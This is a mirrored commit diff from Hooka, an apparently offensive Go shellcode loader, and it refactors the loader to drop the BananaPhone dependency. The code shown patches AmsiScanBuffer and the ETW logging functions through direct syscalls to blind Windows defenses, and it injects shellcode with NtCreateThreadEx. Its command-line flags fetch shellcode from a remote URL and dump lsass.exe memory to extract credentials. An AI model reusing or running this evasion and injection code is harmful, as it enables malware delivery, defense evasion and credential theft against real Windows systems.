admin/D3Ext-Hooka
1
0
Fork 0
mirror of https://github.com/D3Ext/Hooka synced 2026-06-08 10:49:57 +00:00
Code Issues Packages Projects Releases Wiki Activity

remove unnecessary lines - little changes

Browse Source
This commit is contained in:
d3ext
2023-03-02 18:32:55 +01:00
parent 12e1fb8c72
commit 5482a7f1db
10 changed files with 11 additions and 55 deletions
Download Patch File Download Diff File Expand all files Collapse all files
core/amsi.go
+8 -22
View File
@@ -1,25 +1,15 @@
package core
/*
References:
https://github.com/Ne0nd0g/merlin-agent/blob/master/os/windows/pkg/evasion/evasion.go
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
*/
import (
"fmt"
"unsafe"
"syscall"
bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
)
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
func PatchAmsi() (error) {
err := WriteBanana("amsi.dll", "AmsiScanBuffer", &amsi_patch)
err := WriteBytes("amsi.dll", "AmsiScanBuffer", &amsi_patch)
if err != nil {
return err
}
@@ -27,24 +17,20 @@ func PatchAmsi() (error) {
return nil
}
func WriteBanana(module string, proc string, data *[]byte) error {
func WriteBytes(module string, proc string, data *[]byte) error {
target := syscall.NewLazyDLL(module).NewProc(proc)
err := target.Find()
if err != nil {
return err
}
banana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
ZwWriteVirtualMemory, err := GetSysId("ZwWriteVirtualMemory")
if err != nil {
return err
}
ZwWriteVirtualMemory, err := banana.GetSysID("ZwWriteVirtualMemory")
if err != nil {
return err
}
NtProtectVirtualMemory, err := banana.GetSysID("NtProtectVirtualMemory")
NtProtectVirtualMemory, err := GetSysId("NtProtectVirtualMemory")
if err != nil {
return err
}
@@ -53,7 +39,7 @@ func WriteBanana(module string, proc string, data *[]byte) error {
numberOfBytesToProtect := uintptr(len(*data))
var oldProtect uint32
ret, err := bananaphone.Syscall(
ret, err := Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&baseAddress)),
@@ -65,7 +51,7 @@ func WriteBanana(module string, proc string, data *[]byte) error {
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
}
ret, err = bananaphone.Syscall(
ret, err = Syscall(
ZwWriteVirtualMemory,
uintptr(0xffffffffffffffff),
target.Addr(),
@@ -77,7 +63,7 @@ func WriteBanana(module string, proc string, data *[]byte) error {
return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err)
}
ret, err = bananaphone.Syscall(
ret, err = Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&baseAddress)),
core/auxiliary.go
-6
View File
@@ -20,12 +20,6 @@ import (
"github.com/Binject/debug/pe"
)
/*
This code has been taken and modified from BananaPhone project
*/
const (
ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
kernel32path = "C:\\Windows\\System32\\kernel32.dll"
core/createremotethread.go
+1 -8
View File
@@ -6,8 +6,6 @@ import (
"errors"
"syscall"
bap "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
// Internal
"golang.org/x/sys/windows"
)
@@ -80,15 +78,10 @@ func CreateRemoteThreadHalos(shellcode []byte) (error) {
kernel32DLL := windows.NewLazySystemDLL("kernel32.dll")
VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx")
bp, e := bap.NewBananaPhone(bap.AutoBananaPhoneMode)
mess, e := GetFuncPtr("NtCreateThreadEx")
if e != nil {
return e
}
mess, e := bp.GetFuncPtr("NtCreateThreadEx")
if e != nil {
return e
}
oldProtect := windows.PAGE_EXECUTE_READ
VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
core/etw.go
-2
View File
@@ -22,7 +22,6 @@ func PatchEtw() (error) {
procEtwEventWriteFull.Addr(),
procEtwEventWrite.Addr(),
procEtwEventWriteEx.Addr(),
//procEtwEventWriteNoRegistration.Addr(),
procEtwEventWriteString.Addr(),
procEtwEventWriteTransfer.Addr(),
}
@@ -39,7 +38,6 @@ func PatchEtw() (error) {
uintptr(len(data)),
uintptr(unsafe.Pointer(&nLength)),
)
}
return nil
core/flags.go
+2
View File
@@ -24,6 +24,7 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool,
var amsi bool
var etw bool
var lsass_flag string
//var pid int
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
@@ -38,6 +39,7 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool,
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
//flag.IntVar(&pid, "pid", 0, "PID to inject shellcode")
flag.Parse()
return sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values
core/hashing.go
-2
View File
@@ -12,8 +12,6 @@ import (
"bytes"
"encoding/binary"
//"golang.org/x/sys/windows"
// Third-party
"github.com/Binject/debug/pe"
)
core/hooks.go
-7
View File
@@ -2,16 +2,12 @@ package core
/*
This package provides a function to detect Windows API hooked functions (e.g. CreateRemoteThread)
References:
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
https://github.com/C-Sto/BananaPhone
*/
import (
//"fmt"
"errors"
"strings"
@@ -48,9 +44,6 @@ func DetectHooks() ([]string, error) {
if (len(exp.Name) > 3) { // Avoid errors by checking function name length
if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
if errors.As(err, &hook_err) == true { // Check error
/*if bytes.HasPrefix(buff, []byte{0xE9}) == false {
fmt.Println(exp.Name)
}*/
hooked_functions = append(hooked_functions, exp.Name)
}
}
core/lsass.go
-3
View File
@@ -72,9 +72,6 @@ func DumpLsass(output string) (error) {
func elevateProcessToken() (error) {
//token elevation process sourced from
//https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code
type Luid struct {
lowPart uint32 // DWORD
highPart int32 // long
go.mod
-1
View File
@@ -4,7 +4,6 @@ go 1.19
require (
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
github.com/D3Ext/maldev v0.1.3
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4
github.com/google/uuid v1.3.0
go.sum
-4
View File
@@ -1,8 +1,5 @@
github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE=
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=
github.com/D3Ext/maldev v0.1.3 h1:cn4TGdHpdUmjpNhLJ2/lpgU1TkJrEBVJGWcdgm7RQSg=
github.com/D3Ext/maldev v0.1.3/go.mod h1:+ZMVJlimO5ROIg34U/QkhmIQa0dU7rzxbhkFMH/DADQ=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
@@ -28,7 +25,6 @@ github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=